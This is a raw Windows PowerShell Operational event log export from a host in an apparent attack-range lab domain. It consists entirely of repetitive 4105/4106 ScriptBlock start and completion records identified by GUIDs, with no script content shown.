ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024881
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024875
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024855
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024853
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024852
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024835
Keywords=None
